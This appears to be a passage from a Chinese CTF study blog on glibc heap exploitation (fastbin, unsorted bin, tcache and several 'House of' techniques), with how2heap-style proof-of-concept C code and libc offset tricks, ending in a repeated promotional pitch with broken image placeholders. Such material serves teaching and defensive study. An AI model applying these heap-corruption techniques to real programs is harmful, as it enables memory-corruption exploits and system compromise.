# chunk1=chunk2=chunk3=chunk4=chunk5 大小相等
malloc(chunk1)
malloc(chunk2)
free(chunk1)
free(chunk2)
free(chunk1)# 形成fastbin循环
malloc(chunk2)# == chunk1
malloc(chunk4)# == chunk2
# 在fastbin取出时,会检查size字段是不是属于这个fastbin,因此需要伪造目的地址target的size字段=target+8
edit(chunk3)# 修改chunk1的fd指针,使其指向目的地址
malloc(chunk5)# == fake\_chunk(fd指向的地址),会检查size字段
edit(chunk5)# 修改目的地址的内容
House of Spirit
该技术的核心在于在目标位置处伪造 fastbin chunk
,并将其释放
,从而达到分配指定地址
的 chunk 的目的。
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要
满足对应的 fastbin 的需求
,同时也得对齐。 - fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
示例:
int main()
{
malloc(0x10);//必须先初始化堆
size\_t fake_chunk[10];
fake_chunk[0] = 0; // pre\_size
fake_chunk[1] = 0x21; // size
fake_chunk[2] = 0;
fake_chunk[3] = 0;
fake_chunk[4] = 0; // nextchunk pre\_size
fake_chunk[5] = 0x21; // nextchunk size 很重要
free(&fake_chunk[2]);
return 0;
}
Alloc to Stack
该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针
,把 fd 指针指向我们想要分配的栈
上,从而实现控制栈中的一些关键数据,比如返回地址
等
需要在栈上伪造chunk,需要有满足的size
值
Arbitrary Alloc
事实上只要满足目标地址
存在合法的 size
域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
例:
分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。
例题:2015 9447 CTF : Search Engine
Unsorted Bin Attack
利用方法
(示例代码来源于how2heap)
- 覆盖 unsorted bin 释放块的fd和bk指针,再次申请时达到返回
任意地址
的目的
glibc < 2.29
int main() {
setbuf(stdout, NULL);
intptr\_t stack_buffer[4] = {0};
intptr\_t\* victim = malloc(0x410);
intptr\_t\* p1 = malloc(0x410);// avoid top chunk
free(victim);// 释放到 unsorted bin
// 伪造 fake chunk
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x410 + 0x10;
stack_buffer[3] = (intptr\_t)stack_buffer;
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake\_chunk and need to pass the check 2\*SIZE\_SZ (> 16 on x64) && < av->system\_mem\n");
victim[-1] = 0x30;//大小需要和fake chunk 不同
victim[1] = (intptr\_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char \*p2 = malloc(0x410);
}
- 利用覆盖 unsorted bin freelist 上的释放块将
大值
写入任意地址(如libc中的全局变量global_max_fast
,进一步利用 fastbin attack)
int main(){
volatile unsigned long stack_var=0;// 任意地址
unsigned long \*p=malloc(0x410);
malloc(500);// avoid top chunk
free(p);// 释放到 unsorted bin
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);// 覆盖p的bk指针为 任意地址-0x10(64位)
//------------------------------------
malloc(0x410);// malloc后stack\_var即被覆盖为大值(unsorted bin 的地址)
}
Unsorted Bin Leak
Unsortedbin 结构如下:必有一个节点的fd或者bk指针指向main_arena中Unsortedbin
的地址,该地址和main_arena的地址相对偏移是固定的,减去偏移即可得到main_arena地址
unsorted bin中第一个chunk的bk和最后一个chunk的fd都指向
main_arena+48(32位)
或main_arena+88(64位)
的位置,所以只需要将chunk释放到unsorted bin便可以泄漏libc的地址
根据main_arena地址和libc的偏移,可以获得libc基址,偏移获取方法如下:
- 通过
__malloc_trim
函数
IDA打开题目给出的so文件,找到malloc_trim
函数,如下图 0x3c4b20 即为
- 通过 __malloc_hook 直接算出
64位,main_arena 和 __malloc_hook 的地址差是 0x10
main_arena_offset = ELF(“libc.so.6”).symbols[“__malloc_hook”] + 0x10
leak方法:
基于UAF实现,malloc一个符合unsortedbin大小的chunk(malloc(0x80)
),free后chunk会被释放到unsorted bin中(注意不要与top chunk相邻)
一般来说,该chunk是unsorted bin的第一个chunk,fd和bk指针都会指向main_arena+offest
推荐使用链表尾的fd指针
去获取地址
如果使用链表头的bk指针
,32位情况下可以连续打印处fd和bk的内容,但是64位情况下高地址往往为 \x00
,很多输出函数会被截断,难以实现有效 leak
Tcache attack
tcache 获取 unsorted bin:
对于tcache来说,free范围变大了,也就是说我们直接free一块unsorted bin大小的chunk,并不会直接进入unsorted bin而是会先进入tcache,只有对应大小的tcache满了以后,才会放入unsorted bin。
这时想要得到一个unsorted bin有以下方法
- 1.free一个largebin,largebin不会放入tcache,直接放入unsorted bin
- 先连续free填满tcache,再free放进unsorted bin
- 在存有uaf的时候,可以先连续free两次,再malloc三次快速填满tcache。(2.31及之后失效)
因为tcache的个数是由count代表的,每申请一次就会-1且申请时并不判断count,先free两次造成double
free,令next始终指向自身,这时count为2,再连续申请3次,count变为-1,而在比较时是char类型,也就是unsigned
int8,-1远大于7,导致tcache认为已满
- 打tcache_pthread_struct修改count后free
Tcache stashing unlink attack
Large Bin Attack
House of XXX
House Of Einherjar (latest)
看雪讲解
比较简单,overlap和unlink的结合利用,通过修改堆块内容,伪造chunk的prev_size,在free时将堆块合并到想要的地址,达到返回任意地址chunk的目的
原理:滥用 free 中的后向合并操作(合并低地址的 chunk)
利用过程:
- chunk p0 可写
prev_size 字段
,并且存在 off by one漏洞,可修改下一个chunk p1 的PREV_INUSE位
将 p1 的 prev_size 字段设置为我们想要的目的chunk 位置与 p1 的差值
,同时修改下一个chunk 的PREV_INUSE位
为0 - 在目的chunk的位置,伪造 fake chunk,绕过unlink检查
- free(p1),再次申请相应大小的chunk即可得到 fake chunk
unlink绕过:
glibc 2.23: 只需要伪造fake size和fd、bk指针
可以修改fake chunk 的fd和bk
指针均为 fake chunk的地址
p->fd = p
p->bk = p
glibc 2.27:增加了一个检查,检查该chunk的大小是否等于next chunk的prev_size
需要伪造fake size和fd、bk指针,还有next chunk的prev_size
例题:2016 Seccon tinypad
House Of Force(< 2.29)
top chunk 相关
例题:bcloud_bctf_2016
条件:
- 能够以溢出等方式控制到
top chunk 的 size 域
- 能够自由地控制堆分配尺寸的大小
可以将top chunk 分配到目的地址,再次分配即可得到目的地址的chunk
malloc()的大小 = (target_addr - topchunk_addr) - SIZE_SZ (对齐情况下,若没对齐,还要减去MALLOC_ALIGN_MASK进行对齐)
House Of Lore (latest)
small bin 相关
malloc函数中,申请small bin 中的 chunk时
/\*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
\*/
if (in\_smallbin\_range(nb)) {
// 获取 small bin 的索引
idx = smallbin\_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin\_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /\* initialization check \*/
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc\_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (\_\_glibc\_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set\_inuse\_bit\_at\_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;// 伪造chunk的 bk 指针为目的地址,则smallbin 的 bk 等于目的地址,那么下次就会malloc到 目的地址(绕过保护)
bck->fd = bin;
// 如果不是 main\_arena,设置对应的标志
if (av != &main_arena) set\_non\_main\_arena(victim);
// 细致的检查
check\_malloced\_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void \*p = chunk2mem(victim);
// 如果设置了 perturb\_type , 则将获取到的chunk初始化为 perturb\_type ^ 0xff
alloc\_perturb(p, bytes);
return p;
}
}
}
利用思路:
glibc2.27之前,未引入tcache
- malloc一个smallbin大小的chunk victim,free后被放到 unsorted bin
- malloc一个大于victim大小的chunk,导致 victim 放入small bin
- 修改victim内容,bk指向 target chunk,在target chunk处 伪造,fd=victim,bk=next chunk,同时next chunk的 fd=target chunk
- malloc victim 大小的chunk,使得 target chunk 成为 small bin 的 bk,即最后一个chunk,
- malloc target 大小的chunk,即可分配到 target chunk(需要利用next chunk 绕过检查)
glibc2.27后,引入tcache后:
需要将next chunk 的 bk 设为?,绕过tcache的检查
introduced by smallbin-to-tcache mechanism
House Of Orange (< 2.26)
houseoforange+FSOP
背景:无法利用free函数释放堆块
核心:在不利于free函数
的情况下得到一个释放的堆块 unsorted bin
原理:当bin中为空或者不足以满足需要分配的大小时,会从top chunk 分配堆块,同时当 top chunk 尺寸不足以满足申请分配的大小时,会将top chunk放入 unsorted bin,再次malloc时,就会从unsorted bin 切割chunk进行分配
当top chunk不够时,ptmalloc需要执行 sysmalloc
来向系统申请更多的空间,对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以brk
的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中
绕过:
brk 拓展 top chunk时需要绕过检查,
首先,malloc 的尺寸不能大于mmp_.mmap_threshold,避免使用mmap分配堆块
如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
rKP-1715561262649)]
[外链图片转存中…(img-EWsDapk8-1715561262649)]
[外链图片转存中…(img-RnrPIUcc-1715561262649)]
[外链图片转存中…(img-kbgYvZWa-1715561262650)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!